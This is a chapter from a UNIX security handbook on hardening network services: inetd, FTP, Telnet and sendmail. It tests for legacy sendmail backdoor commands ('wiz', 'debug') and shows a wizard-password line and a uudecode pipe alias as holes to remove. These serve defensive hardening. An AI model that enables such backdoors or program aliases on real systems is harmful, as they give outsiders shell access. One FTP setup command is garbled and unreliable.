There are fundamentally two kinds of UNIX servers:

  • Servers that are always running. These servers are started automatically from the /etc/rc* files when the operating system starts up.[2] Servers started at boot time are usually the servers that should provide rapid responses to user requests, must handle many network requests from a single server process, or both. Servers in this category include nfsd (Network Filesystem daemon) and sendmail.

    [2] On System V-derived operating systems, such as Solaris 2.x, these servers are usually started by an entry in a file located inside the /etc/rc2.d/ directory.

  • Servers that are run only when needed. These servers are usually started from inetd, the UNIX "Internet" daemon. inetd is a flexible program that can listen to dozens of Internet ports and automatically start the appropriate daemon as needed. Servers started by inetd include popper (Post Office Protocol daemon) and fingerd (the finger daemon).

Servers that are always running are usually started by a command in the /etc/rc* files. For example, the lines in the /etc/rc file that start up the Simple Mail Transfer Protocol (SMTP) server looks like this:

if [ -f /usr/lib/sendmail -a -f /etc/sendmail/sendmail.cf ]; then
/usr/lib/sendmail -bd -q1h && (echo -n ' sendmail') > /dev/console
fi

This example checks for the existence of /usr/lib/sendmail and the program's control file, /etc/sendmail/sendmail.cf. If the two files exist, /etc/rc runs the sendmail program and prints the word "sendmail" on the system console. After the program is running, sendmail will bind to TCP/IP port number 25 and listen for connections.[3]

[3] The option -bd makes the sendmail program "be a daemon" while the option -q1h causes the program to process the mail queue every hour.

Each time the sendmail program receives a connection, it uses the fork()system call to create a new process to handle that connection. The original sendmail process then continues listening for new connections.

17.1.3 The /etc/inetd Program

The first version of UNIX to support the Internet, BSD 4.2, set a different server program running for every network service.[4] As the number of services grew in the mid-1980s, UNIX systems started having more and more server programs sleeping in the background, waiting for network connections. Although the servers were sleeping, they nevertheless consumed valuable system resources such as process table entries and swap space. Eventually, a single program called /etc/inetd (the Internet daemon) was developed, which listened on many network ports at a time and ran the appropriate TCP-based or UDP-based server on demand when a connection was received.

[4] BSD 4.1a was an early test release of UNIX with TCP/IP support. BSD 4.2, released in September 1983, was the first non-test release with TCP/IP support.

inetd is run at boot time as part of the start-up procedure. When it starts execution, it examines the contents of the /etc/inetd.conf file to determine which network services it is supposed to manage. inetd uses the bind() call to attach itself to many network ports and then uses the select() call to cause notification when a connection is made on any of the ports.

A sample inetd.conf file might look like this:

# @(#)inetd.conf 1.1 87/08/12 3.2/4.3NFSSRC
#
# Internet server configuration database
#
ftp      stream tcp nowait root    /usr/etc/ftpd ftpd
telnet   stream tcp nowait root    /usr/etc/telnetd telnetd
shell    stream tcp nowait root    /usr/etc/rshd rshd
login    stream tcp nowait root    /usr/etc/rlogind rlogind
exec     stream tcp nowait root    /usr/etc/rexecd rexecd
uucp     stream tcp nowait uucp    /usr/etc/uucpd uucpd
finger   stream tcp nowait nobody  /usr/etc/fingerd fingerd
tftp     dgram  udp wait   nobody  /usr/etc/tftpd tftpd
comsat   dgram  udp wait   root    /usr/etc/comsat comsat
talk     dgram  udp wait   root    /usr/etc/talkd talkd
ntalk    dgram  udp wait   root    /usr/etc/ntalkd ntalkd
echo     stream tcp nowait root    internal
discard  stream tcp nowait root    internal
chargen  stream tcp nowait root    internal
daytime  stream tcp nowait root    internal
time     stream tcp nowait root    internal
echo     dgram  udp wait   root    internal
discard  dgram  udp wait   root    internal
chargen  dgram  udp wait   root    internal
daytime  dgram  udp wait   root    internal
time     dgram  udp wait   root    internal

Each line contains at least six fields, separated by spaces or tabs:

Service name

The service name that appears in the /etc/services file. inetd uses this name to determine which port number it should listen to.

Socket type

Whether the service expects to communicate via a stream or on a datagram basis.

Protocol type

Whether the service expects to use TCP- or UDP-based communications. TCP is used with stream sockets, while UDP is used with dgram, or datagrams.

Wait/nowait

If the entry is "wait," the server is expected to process all subsequent connections received on the socket. If "nowait" is specified, inetd will fork() and exec()a new server process for each additional datagram or connection request received. Most UDP services are wait, while most TCP services are nowait, although this is not a firm rule. Although some man pages indicate that this field is only used with datagram sockets, the field is actually interpreted for all services.

User

Specifies the UID that the server process is to be run as. This can be root (UID 0), daemon (UID 1), nobody (often UID -2 or 65534), or an actual user of your system. This field allows server processes to be run with fewer permissions than root, to minimize the damage that could be done if a security hole is discovered in a server program.

Command name and arguments

The remaining arguments specify the command name to execute and the arguments that the command is passed, starting with argv[0].

Some services, like echo, time, and discard, are listed as "internal." These services are fairly trivial, and they are handled internally by inetd rather than requiring a special program to be run. Although these services are useful for testing, they can also be used for denial of service attacks. You should disable them.

You should routinely check the entries in the /etc/inetd.conf file and verify that you understand why each of the services in the file is being offered to the Internet. Sometimes, when attackers break into systems, they create new services to make future break-ins easier. If you cannot explain why a service is being offered at your site, you may wish to disable it until you know what purpose it serves.

Previous: 16.5 Summary | Practical UNIX & Internet Security | Next: 17.2 Controlling Access to Servers
16.5 Summary | Book Index | 17.2 Controlling Access to Servers


[Chapter 17] 17.2 Controlling Access to Servers

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 17.1 Understanding UNIX Internet Servers Chapter 17
TCP/IP Services 		Next: 17.3 Primary UNIX Network Services

17.2 Controlling Access to Servers

As it is delivered by most vendors, UNIX is intended to be a friendly and trusting operating system; by default, network services are offered to every other computer on the network. Unfortunately, this practice is not an advisable policy in today's networked world. While you may want to configure your network server to offer a wide variety of network services to computers on your organization's internal network, you probably want to restrict the services that your computer offers to the outside world.

A few UNIX servers have built-in facilities for limiting access based on the IP address or hostname of the computer making the service request.[5] For example, NFS allows you to specify which hosts can mount a particular filesystem, and nntp allows you to specify which hosts can read netnews. Unfortunately, these services are in the minority: most UNIX servers have no facility for host-by-host access control.

[5] Restricting a service by IP address or hostname is a fundamentally unsecure way to control access to a server. Unfortunately, because more sophisticated authentication services such as Kerberos and DCE are not in widespread use, address-based authentication is the only choice available at most sites.

There are several techniques that you can use for controlling access to servers that do not provide their own systems for access control. These include:

  • The tcpwrapper program written by Wietse Venema. tcpwrapper is a simple utility program that can be "wrapped" around existing Internet servers. The program allows you to restrict servers according to connecting host, and a number of other parameters. This program also allows incoming connections to be logged via syslog. It is described in Chapter 22, Wrappers and Proxies.

  • You can place a firewall between your server and the outside network. A firewall can protect an entire network, whereas tcpwrapper can only protect services on a specific machine. Unfortunately, most firewalls do not allow the fine-grained control that tcpwrapper permits, and do not permit the logging of accepted or rejected connections. Firewalls are described in Chapter 21, Firewalls.

We see tcpwrapper and firewalls as complementary technologies, rather than competing ones. For example, you can run tcpwrapper on each of your computers, and then you protect your entire network with a firewall. This combination is an example of defense in depth, the philosophy of not depending on one particular technology for all your protection.

Previous: 17.1 Understanding UNIX Internet Servers | Practical UNIX & Internet Security | Next: 17.3 Primary UNIX Network Services
17.1 Understanding UNIX Internet Servers | Book Index | 17.3 Primary UNIX Network Services


[Chapter 17] 17.3 Primary UNIX Network Services

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 17.2 Controlling Access to Servers Chapter 17
TCP/IP Services 		Next: 17.4 Security Implications of Network Services

17.3 Primary UNIX Network Services

This section describes selected network services that are usually provided as part of the standard UNIX network package. It further discusses some of the major security implications of each of these services.

Every network service carries both known and unknown security risks. Some services have relatively small known risks, while others have substantial ones. And with every network service there is the possibility that a security flaw in the protocol or the server will be discovered at some point in the future. Thus, a conservative security policy would remove every service for which there is no demonstrated need.

If you think that the risk of a service outweighs its benefit, then you can disable the service simply by placing a hash mark (#) at the beginning of the lines in the /etc/rc* file(s) or the /etc/inetd.conf file that cause the server program to be executed. This will serve to comment out those lines. Of course, if you turn off a needed service, people who wish to use it are likely to complain! Remember, too, that disabling the ability to receive network connections does not prevent people on your computer from initiating outbound network connections.

Note that the inetd program may not take notice of any changes to its configuration until it is restarted or sent a signal (usually the HUP signal; consult the inetd man page for your system). Changes in the /etc/rc* file(s) may not take effect until you change the run level or restart your system. Thus, if you disable a service, the change may not cause a currently running invocation of the server to terminate - you may need to take some other action before you can verify that you have properly disabled the service.

We recommend that you save a copy of any configuration files before you begin to edit them. That way, if you make a mistake or if something doesn't work as expected, you can roll back to an earlier version of the files to determine what happened. You might consider using the RCS or SCCS revision-control systems to manage these files. These systems allow you to put date stamps and comments on each set of changes, for future reference. Such markings may also be useful for comparison purposes if you believe that the files have been changed by an intruder, although this isn't a particularly strong form of detection.

17.3.1 systat (TCP Port 11)

The systat service is designed to provide status information about your computer to other computers on the network.

Many sites have configured their /etc/inetd.conffile so that connections to TCP port 11 are answered with the output of the who or w command. You can verify if your system is configured in this manner with the telnet command:

unix% telnet media.mit.edu 11
Trying 18.85.0.2... Connected to media.mit.edu.
Escape character is '^]'.
lieber   ttyp0   Aug 12 19:01   (liebernardo.medi)
cahn     ttyp1   Aug 13 14:47   (remedios:0.0)
foner    ttyp2   Aug 11 16:25   (18.85.3.35:0.2)
jrs      ttyp3   Aug 13 17:12   (pu.media.mit.edu)
ereidell ttyp4   Aug 14 08:47   (ISAAC.MIT.EDU)
felice   ttyp5   Aug 14 09:40   (gaudy.media.mit.)
das      ttyp6   Aug 10 19:00   (18.85.4.207:0.0)
...

Although providing this information is certainly a friendly thing to do, usernames, login times, and origination hosts can be used to target specific attacks against your system. We therefore recommend against running this service.

To disable the service, simply comment or remove the line beginning with the word "systat" from your /etc/inetd.conffile. You can also verify that the service has been disabled by using the telnet command:

unix% telnet media.mit.edu 11
Trying 18.85.0.2... Connection refused.
unix%

17.3.2 (FTP) File Transfer Protocol (TCP Ports 20 and 21)

The File Transfer Protocol (FTP) allows you to transfer complete files between systems. Its UNIX implementation consists of two programs: ftp is the client program; /etc/ftpd (sometimes called /usr/etc/in.ftpd) is the server. TCP port 21 is used for sending commands; port 20 is occasionally used for the data stream, although it is more common for the client and server to mutually negotiate a set of port numbers greater than 1024.

When you use FTP to contact a remote machine, the remote computer requires that you log in by providing your username and password; FTP logins are usually recorded on the remote machine in the /usr/adm/wtmp file. Because the passwords typed to FTP are transmitted unencrypted over the network, they can be intercepted (as with the telnet and rexec commands); for this reason, some sites may wish to disable the ftp and ftpd programs, or modify them to use alternative authentication protocols.

17.3.2.1 Using anonymous FTP

FTP can be set up for anonymous access, which allows people on the network who do not have an account on your machine to deposit or retrieve files from a special directory. Many institutions use anonymous FTP as a low-cost method to distribute software and databases to the public.

To use anonymous FTP, simply specify ftp [6] as your username, and your real identity - your email address - as the password.

[6] Some older servers require that you specify "anonymous" for anonymous FTP; most servers accept either username.

% ftp athena-dist.mit.edu
Connected to AENEAS.MIT.EDU.
220 aeneas FTP server (Version 4.136 Mon Oct 31 23:18:38 EST 1988) ready.
Name (athena-dist.mit.edu:fred): ftp
331 Guest login ok, send ident as password.
password: Rachel@ora.com
230 Guest login ok, access restrictions apply.
ftp>

Increasingly, systems on the Internet require that you specify an email address as your "password." However, few of these systems verify that the email address you type is your actual email address.

17.3.2.2 Passive vs. active FTP

The FTP protocol supports two modes of operations, active (often called normal) and passive. These modes determine whether the FTP server or the client initiates the TCP connections that are used to send information from the server to the host.

Active mode is the default. In active mode, the server opens a connection to the client, as illustrated in Figure 17.1. Active mode complicates the construction of firewalls, because the firewall must anticipate the connection from the FTP server back to the FTP client program and permit that connection through the firewall.

Figure 17.1: Active-mode FTP connection

Figure 17.2: Passive-mode FTP connection

17.3.2.3 FTP passive mode

Under normal circumstances, the FTP server initiates the data connection back to the FTP client. Many FTP servers and clients support an alternative mode of operation called passive mode. In passive mode, the FTP client initiates the connection that the server uses to send data back to client. Passive mode is shown in Figure 17.2. Passive mode is desirable, because it simplifies the task of building a firewall: the firewall simply allows internal connections to pass through to the outside world, but it does not need to allow outside connections to come back in. Not all FTP clients support passive mode, but many do, including the FTP clients that are built in to most popular WWW browsers. If your software does not yet include it, you should upgrade to software that does.

17.3.2.4 Setting up an FTP server

If you wish to provide FTP service, you have three choices for FTP servers:

  1. You can use the standard UNIX ftpd that comes with your system. Depending on your UNIX vendor, this version may or may not be secure and bug free. Over the years, many security problems have been found with ftpd. Some vendors have been quick to implement the necessary bug fixes; others have not.

  2. You can run wuftpd, an excellent FTP server originally written at Washington University in Saint Louis. The wuftpd server has many useful options that allow you to create different categories of FTP users, allow you to set limits on the number of simultaneous file transfers, and allow you to save network bandwidth by automatically compressing and archiving files as they are transferred. Unfortunately, the program itself is quite complex, is somewhat difficult to configure, and has had security problems in the past. Nevertheless, wuftpd is the FTP server of choice for many major archive sites.

  3. If you only want to provide anonymous FTP access, you can use one of several stripped-down, minimal implementations of FTP servers. One such version is the aftpd server, written by Marcus Ranum when he was at Trusted Information Systems. The aftp server is designed to be as simple as possible so as to minimize potential security problems; therefore, it has far fewer features and options than other servers. In particular, it will only serve files in anonymous transfer mode. We suggest that you consider getting a copy of aftp (or something like it) if you only want to offer anonymous access.[7]

    [7] This is not the same FTP server as the one included in the TIS Firewall Toolkit. aftp is available from the TIS FTP site, ftp.tis.com.

All of these servers are started by the inetd daemon, and thus require an entry in the /etc/inetd.conffile. You can either have the FTP server run directly or run through a wrapper such as tcpwrapper. Our discussion of FTP services in the following sections applies to the standard UNIX ftpd server.

17.3.2.5 Restricting FTP with the standard UNIX FTP server

The /etc/ftpusers file contains a list of the accounts that are not allowed to use FTP to transfer files. This file should contain all accounts that do not belong to actual human beings:

# cat /etc/ftpusers
root
uucp
news
bin
ingres
nobody
daemon

In this example, we specifically block access to the root, uucp, news, bin, and other accounts so that attackers on the Internet will not be able to break into these accounts using the FTP program. Blocking system accounts in this manner also prevents the system manager from transferring files to these accounts using FTP, which is a risk because the passwords can be intercepted with a packet sniffer.

Additionally, most versions of FTP will not allow a user to transfer files if the account's shell, as given in the /etc/passwd file of the system, is not also listed in the /etc/shells[8] file. This is to prevent users who have had accounts disabled, or who are using restricted shells, from using FTP. You should test this feature with your own server to determine if it works correctly.

[8] Note that /etc/shells is also used by chfn as a list of allowable shells to change to.

17.3.2.6 Setting up anonymous FTP with the standard UNIX FTP server

Setting up anonymous FTP on a server is relatively easy, but you must do it correctly, because you are potentially giving access to your system to everybody on the network.

To set up anonymous FTP, you must create a special account with the name ftp. For example:

ftp:*:400:400:Anonymous FTP:/var/spool/ftp:/bin/false

Files that are available by anonymous FTP will be placed in the ftp home directory; you should therefore put the directory in a special place, such as /var/spool/ftp.

When it is used for anonymous FTP, ftpd uses the chroot() function call to change the root of the perceived filesystem to the home directory of the ftp account. For this reason, you must set up that account's home directory as a mini filesystem. Three directories go into this mini filesystem:

bin

This directory holds a copy of the /bin/ls program, which ftpd uses to list files. If your system uses dynamic linking and shared libraries, you must either install programs that are statically linked or install the dynamic libraries in the appropriate directory (for example, /var/spool/ftp/lib).

etc

This directory holds a version of the /etc/passwd and /etc/group files, which are put there so the /bin/ls command will print usernames and groupnames when it lists files. Replace the encrypted passwords in this file with asterisks. Some security-conscious sites may wish to delete some or all account names from the passwd file; the only one that needs to be present is ftp. (Actually, if neither file exists, most FTP servers will still work normally.)

pub

This directory, short for public, holds the files that are actually made available for anonymous FTP transfer. You can have as many subdirectories as you wish in the pub directory.

Be sure to place the actual files in these directories, rather than using symbolic links pointing to other places on your system. Because the ftpd program uses the chroot()system call, symbolic links may not behave properly with anonymous FTP. In general, symbolic links to inside your chroot area will work, and they are commonly used on anonymous FTP sites. However, any symbolic link which points outside the chroot area or is an absolute symbolic link will not work.

Now execute the following commands as the superuser. We assume that you've already created ~ftp.

# mkdir ~ftp/bin ~ftp/etc ~ftp/pub			Create needed directories.

Set up ~ftp/bin:

# chown root ~ftp/bin/ls		 		 	Make sure root owns the directory	.
# cp /bin/ls ~ftp/bin			Make a copy of the ls program.
# chmod 111 ~ftp/bin/ls			Make sure ls can't be changed.
# chmod 111 ~ftp/bin			Make directory execute only.
# chown root ~ftp/bin			Make sure root owns the directory.

Set up ~ftp/etc:

# cat-passwd awk -F: '{printf "%s:*:%s:%s::\n",$1,$2,$3}' \
    > ~ftp/etc/passwd
            Make a copy of /etc/passwd with
            all passwords changed to asterisks.
# awk -F: '{printf "%s::%s:%s\n",$1,$3,$4}' /etc/group > ~ftp/etc/group
            Make a copy of /etc/group.

# chmod 444 ~ftp/etc/*			Make sure files in etc are not writable.

# chmod 111 ~ftp/etc			Make directory execute-only.

# chown root ~ftp/etc			Make sure root owns the directory.

Alternatively, note that most ftp servers will work fine if the only entries in the passwd file are for root and ftp, and the only entry in the group file is for group ftp. The only side-effect is that files left in the ftp directories will show numeric owner and groups when clients do a directory listing. The advantage to having a trimmed file is that outsiders cannot gain any clues as to your system's user population if they should obtain a copy of the file.

Some systems will require you to install dynamic libraries and even device files to make the FTP server's file list command work. This is particularly a problem on Solaris systems. In general, the fewer files accessed in the anonymous FTP area, the harder the system will be to compromise.

Set up ~ftp/pub:

# chown root.wheel ~ftp/pub			Make sure root owns the directory.
# chmod 555 ~ftp/pub			Make directory writable by nobody.[9]
            (See warning.)

And finally, secure the ~ftp directory:

# chmod 555 ~ftp
# chown root ~ftp

NOTE: Note that some man pages from some vendors state that the ~ftp directory should be owned by user ftp. This practice is dangerous! If user ftp owns the home directory, anonymous users can change the FTP environment, can delete or create new files at will, and can run any program that they choose. They can also create .rhosts files to gain direct access to your system!

You should also set up a mail alias for the ftp user, so that mail sent to ftp is delivered to one of your system administrators.

Don't Become an FTP-Software Pirate Repository!

Years ago, organizations that ran FTP servers would routinely create an "open" directory on their servers so that users on the network could leave files for users of the system. Unfortunately, software pirates soon started using those directories as repositories for illegally copied programs, files of stolen passwords, and pornographic pictures. Collectively, this information is sometimes known as warez, although that name is usually reserved for the pirated software alone. Today, if you have a directory on an anonymous FTP server that is writable by the FTP user, the odds are quite high that it eventually will be discovered and used in this manner.

Of course, some sites still wish to create "depository" directories on their FTP servers, so that users on the network can leave files for users of their system. The correct way to do so is to create a depository that is carefully controlled and automatically emptied:

  1. Create a directory that is writable, but not readable, by the ftp user. The easiest way to do so is to make the directory owned by root, and give it a mode of 1733. In this manner, files can be left for users, but other users who connect to your system using anonymous FTP will not be able to list the content of the directory.[10]

    [10] If you are using the wu archive server, you can configure it so that uploaded files are uploaded in mode 004, so that they cannot be read by another client. If you are writing your own server, this is a good idea to include in your code.

  2. Put a file quota on the ftp user, to limit the total number of bytes that can be received. (Alternatively, locate the anonymous FTP directory on an isolated partition.)

  3. Create a shell script that automatically moves any files left in the depository that are more than 15 (or 30 or 60) minutes old into another directory that is not accessible by the anonymous FTP user. You may also wish to have your program send you email when files are received.

  4. Place an entry in your /usr/lib/crontab file so this script runs automatically every 15-30 minutes.

17.3.2.7 Allowing only FTP access

Sometimes, you may wish to give people permission to FTP files to and from your computer, but you may not want to give them permission to actually log in. One simple way to accomplish this goal is to set up the person's account with a special shell, such as /bin/ftponly. Follow these directions:[11]

[11] If you are using wuftpd, note that there is a feature which allows a similar configuration.

  1. Create a shell script /bin/ftponly, which prints a polite error message if the user attempts to log into his account. Here is an example:

    #!/bin/sh
/bin/cat << XX

You may use FTP to put files on this computer, but you may
not use this account to login.
-The Management

XX
/usr/bin/sleep 10

  2. Create your user account with /bin/ftponly as its shell:

    kelly:Mqu3lQJ41kf/E:502:20:Jim Kelly:/Users/kelly:/bin/ftponly

  3. Finally, add the file /bin/ftponly to the file /etc/shells:[12]

    [12] On AIX, shells must be added to the /etc/security/login.cfg file.

    # List of acceptable shells for chsh/passwd -s
# Ftpd will not allow users to connect who do not have one of
# these shells
#
/bin/sh
/bin/csh
/bin/ftponly

17.3.3 TELNET (TCP Port 23)

Telnet is a service designed to allow you to log onto a remote computer on the Internet. Telnet gives you a "virtual terminal" on the remote computer. The UNIX version of Telnet is implemented with the telnet client and telnetd server programs.

To use telnet, type the name of the command followed by the name of the computer to which you wish to connect. When you get the prompt, simply log in as if you had called your computer using a modem or connected via a hard-wired terminal:

% telnet prose
Trying...
Connected to prose
Escape character is '^]'

4.3 BSD UNIX (prose.cambridge.ma.us)

login: nancy
password: T wrink

Because of the risk of packet sniffing, logging into your computer with Telnet can pose a greater security risk than simply dialing into your computer. On many kinds of networks, such as Ethernet, the packets sent between computers are actually delivered to every computer on the physical piece of wire. The computers on the network are programmed to only respond to the packets that are intended for them. But it is possible to program a computer to force it to listen to and record every packet transmitted. Special programs can capture the first hundred characters (or more) sent in both directions on a Telnet connection and thereby capture your username and password.

Packet sniffing is not only a danger on your local area network, because the Telnet session packets are vulnerable throughout their journey. In recent years, there have been many cases of Internet Service Providers who have had a single computer on their internal network compromised; every Telnet connection passing through that ISP had its password sniffed as a result. The best ways to defeat packet sniffing are through the use of one-time passwords and encryption.

A second danger of Telnet is that an attacker can hijack a Telnet session that is in progress using a technique that is sometimes called session hijacking. Thus, after you log in using your password, the attacker can seize control of the session and type whatever commands he wishes. The only way to eliminate the possibility of Telnet hijacking is through the use of encryption.

Telnet also presents many of the same risks as dial-in modems. Unfortunately, allowing access to your computer by Telnet is significantly more risky than allowing telephone access for a variety of reasons:

  • Although finding the telephone number of a computer's modems can be difficult, one can easily find out the address of a computer on the Internet. Few computer centers publish the telephone numbers of their computer's modems, but a computer's Internet address can be easily determined from its hostname. Although this availability makes access easier for authorized users, it also makes access easier for attackers.

  • Because connecting to a computer via Telnet is significantly faster than calling the computer with a modem, an attacker can try to guess more passwords in a given amount of time.

  • As long distance calls cost the caller money, few attackers try to break into computers outside their local calling area. On the other hand, there is usually no incremental cost associated with using Telnet to break into distant machines. Somebody trying to log into your computer with a stolen password might be across the street, or they might be on the other side of the globe.

  • Because the Internet lacks a sophisticated technology for tracing calls (often available on telephone networks), the Internet gives attackers the added protection of near anonymity.

  • Many modems ring or produce other audible sounds when they receive incoming calls. Telnet connections are silent, and thus less likely to attract outside attention.

  • A network connection allows an attacker to gain much more information about a target machine, which can be used to locate additional points of vulnerability.

Telnet is a useful service. To make it safer, you should avoid using reusable passwords. You can also assign users different passwords on different computers, so that if one account is compromised, others will not be.

17.3.4 Simple Mail Transfer Protocol (SMTP) (TCP Port 25)

The Simple Mail Transfer Protocol (SMTP) is an Internet standard for transferring electronic mail between computers. The UNIX program /usr/lib/sendmail usually implements both the client side and the server side of the protocol, and seems to be the predominant software used in UNIX email systems. Using sendmail, mail can be:

  • Delivered to individual users

  • Distributed to mailing lists (of many users)

  • Sent automatically to another machine

  • Appended to files

  • Provided as standard input to programs

A legitimate mail address can be a username or an entry in the alias database. The aliases are located in the aliases file, usually in the /usr/lib, /etc, /etc/mail, or /etc/sendmail directories.

The sendmail program also allows individual users to set up an alias for their accounts by placing a file with the name .forward in their home directories.

Another file, sendmail.cf, controls sendmail's configuration. The sendmail.cf file can also be found in various directories, depending on the version in use and the configuration options chosen.

NOTE: The sendmail program is only one of many different systems for delivering email over the Internet. Others include smail, MMDF, and PMDF. However, Berkeley's sendmail is by far the most common mailer on the Internet. It also seems to be the mailer that is the most plagued with security problems. Whether these problems are because the design of sendmail is fundamentally flawed, because the coding of sendmail is particularly sloppy, or simply because more people are looking for flaws in sendmail than in any other program remains an open question.

17.3.4.1 sendmail and security

sendmail has been the source of numerous security breaches on UNIX systems. For example:

  • Early versions of sendmail allowed mail to be sent directly to any file on the system, including files like /etc/passwd.

  • sendmail supports a " wizard's password," set in the configuration file, that can be used to get a shell on a remote system without logging in.

  • sendmail allows trusted users, who are permitted to forge mail that is delivered to the local machine.

  • sendmail can be compiled in "debug mode," a mode that in the past has been used to allow outsiders unrestricted access to the system sendmail is running on.

  • sendmail used to accept mail with a program as the recipient, thus allowing remote users to invoke shells and other programs on the destination host.

  • sendmail has done a poor job of validating its arguments, thus allowing users to overwrite arbitrary locations in memory, or provide input that results in very bad side effects.

One of the main reasons for sendmail's problems is its all-in-one design. The program is extremely complicated, runs as superuser, freely accepts connections from any computer on the Internet, and has a rich command language. We are not surprised that the program has been plagued with problems, although it seems to have had more than its share.

Fortunately, there are alternatives. Instead of having a large all-in-one program receive messages from the Internet and then deliver the mail, you could split this functionality into two different programs. The Firewall Toolkit from Trusted Information Systems contains a program called smap that does exactly this. Even if you do not have a firewall, you may wish to use smap for accepting SMTP connections from outside sites. For instructions on how to do this, see "Installing the TIS smap/smapd sendmail Wrapper" in Chapter 22.

What's My sendmail Version?

If you are using the version of sendmail that was supplied with your operating system, then you may have difficulty figuring out which version of sendmail you are actually running. Your sendmail program should print its version number when you telnet to it (port 25). Beware: if sendmail does not print a version number, there is no easy way to determine what version number you have.

One way that you can determine your sendmail version is to download a new version and install it yourself.

You can get the current version of sendmail from the following locations:

ftp://ftp.cs.berkeley.edu/ucb/sendmail
ftp://info.cert.org/pub/tools/sendmail/
ftp://auscert.org.au/pub/mirrors/ftp.cs.berkeley.edu/ucb/sendmail

Some vendors make proprietary changes to the sendmail program, so you may not be able to use Berkeley's unmodified version on your system. (For example, Berkeley's unmodified sendmail will not read mail aliases from systems using Sun Microsystem's NIS+ network name service.) In these cases, your only solution is to speak with your vendor.

17.3.4.2 Using sendmail to receive email

If you must run sendmail to receive electronic mail, you should take extra measures to protect your system's security.

  1. Make sure that your sendmail program does not support the debug, wiz, or kill commands. You can test your sendmail with the following command sequence:

    % telnet localhost smtp
Connected to localhost.
Escape character is "^]".
220 prose.cambridge.ma.us Sendmail 5.52 ready at Mon, 2 Jul 90
15:57:29 EDT
wiz
500 Command unrecognized
debug
500 Command unrecognized
kill
500 Command unrecognized
quit
221 prose.cambridge.ma.us
closing connection
Connection closed by foreign host
%

    The command telnet localhost smtp opens up a TCP connection between your terminal and the smtp part of your local computer (which always has the alias localhost). You are then able to type commands to your sendmail's command interpreter. If your sendmail responds to the debug or wiz command with any of the following messages - or any message other than "command unrecognized" - replace the version of sendmail that you are running (but see #4 below):

    200 Debug set
200 Mother is dead
500 Can't kill Mom
200 Please pass, oh mighty wizard
500 You are no wizard!

  2. Delete the " decode" aliases from the alias file. The decode alias is a single line that looks like this:

    decode: "|/usr/bin/uudecode"

    The decode alias allows mail to be sent directly to the uudecode program. This ability has been shown to be a security hole. Examine carefully every alias that points to a file or program instead of a user account. Remember to run newaliases after changing the aliases file.

  3. Make sure that your aliases file is protected so that it cannot be modified by people who are not system administrators. Otherwise, people might add new aliases that run programs, redirect email for system administrators, or play other games. If your version of sendmail creates aliases.dir and aliases.pag dbm files, those files should also be protected.

  4. Make sure that the "wizard" password is disabled in the sendmail.cf file. If it is not, then a person who knows the wizard password can connect to your computer's sendmail daemon and start up a shell without logging in! If this feature is enabled in your version of sendmail, you will note that the wizard password is a line that begins with the letters OW (uppercase O, uppercase W). For example:

    # Let the wizard do what she wants
OWsitrVlWxktZ67

    If you find a line like this, change it to disallow the wizard password:

    # Disallow wizard password:
OW*

  5. Make sure that you have the most recent version of sendmail installed on your computer. Monitor the CERT mailing list for problems with sendmail and be prepared to upgrade as soon as vulnerabilities are posted.

Stamp Out Phantom Mail!

The UNIX operating system uses accounts without corresponding real users to perform many system functions. Examples of these accounts include uucp, news, and root. Unfortunately, the mail system will happily receive email for these users.

Email delivered to one of these accounts normally goes only to a mail file. There, it resides in your /var/spool/mail directory until it is finally read. On some systems, there is mail waiting for users with the names news or ingres that is more than five years old.

Is this a problem? Absolutely:

  • These mail files can grow to be megabytes long, consuming valuable system resources.

  • Many programs that run autonomously will send mail to an address such as news or uucp when they encounter a problem. If this mail is not monitored by the system administrator, problems can go undiagnosed.

You can avoid the problem of phantom mail by creating mail aliases for all of your system, nonuser accounts. To make things easy for future system administrators, you should put these aliases at the beginning of your aliases file. For example:

#
# System aliases
#

root:           simsong
Postmaster:     root
usenet:         root
news:           root
agent:          root
sybase:         root
MAILER-DAEMON:  postmaster

NOTE: When security flaws are announced, potential intruders are often much quicker to attack than system administrators are to upgrade. We advise you to upgrade as quickly as possible. Sites have been attacked within six hours of the release of a CERT advisory.

17.3.4.3 Improving the security of Berkeley sendmail V8

If you are intent on using Berkeley sendmail for your mail server, you can still improve your security by using sendmail Version 8. If you are not running sendmail Version 8, then you are probably running Version 5; Versions 6 and 7 did not make it out the door.

NOTE: Be sure that you track the current version of sendmail, and obtain new versions as necessary. New security-related bugs are (seemingly) constantly being discovered in sendmail. If you do not keep up, your site may be compromised!

There are well-known vulnerabilities, with exploit scripts, in most older versions of sendmail, including versions provided by many vendors. Besides containing numerous bug fixes over previous versions of sendmail, Version 8 offers a variety of "security options" that can be enabled by inserting a statement in your sendmail.cf configuration file. Many of these options are designed to control the release of information about your internal organization on the Internet.[13] These options are summarized in Table 17.1:

[13] We recommend that you read the security chapter in Sendmail by Bryan Costales et al. (O'Reilly & Associates, 1993) for additional information.

Table 17.1: Security Options in Version 8 Sendmail
Option | Effect | Purpose
novrfy | Disables VRFY command. | VRFY can be used by outsiders to determine the names of valid users; use novrfy to disable this command.
noexpn | Disables EXPN command. | EXPN reveals the actual delivery addresses of mail aliases and mailing lists; noexpn disables this command.
needmailhelo | Requires HELO before a MAIL command. | Refuses mail unless the sending site has properly identified itself.
needvrfyhelo | Requires HELO before VRFY command. | Allows the use of the VRFY command, but only after the network user has identified himself.
needexpnhelo | Requires HELO before EXPN command. | Allows use of the EXPN command, but only after the network user has identified himself.
restrictmailq | Restricts use of mailq command. | If set, allows only users who belong to the group that owns the mail queue directory to view the mail queue. This restriction can prevent others from monitoring mail that is exchanged between your computer and the outside world.

You can increase the logging level of sendmail to level 9 by inserting the line "OL9" in your sendmail.cf file, and we recommend that you do so; higher levels are used for debugging and do not serve any obvious security purpose. This will log lots of interesting information to syslog. Be sure that your syslog.conf file is configured so that this information is written to a reasonable place, and be sure to check the logs.

There have been a number of problems with addresses that send mail to programs. This should be disabled, if not needed, by setting the progmailer to a program such as /bin/false. If you do need progmailer functionality, use smrsh (bundled with 8.7.x).

Here is an example of when you might use the security options. Suppose that you have a company-wide alias such as all or marketing, and that you wish to prevent outsiders (such as recruiters) from learning the email addresses of people on these mailing lists. At the same time, you may wish to prevent outsiders from learning the names of valid accounts on your system, to avoid accepting email from sites that do not properly identify themselves, and to prevent employees from spying on another's email correspondence. In this case, you would insert the following line into your sendmail.cf file; note that the "O" is required at the beginning of the Option line.

Onovrfy,noexpn,needmailhelo,restrictmailq

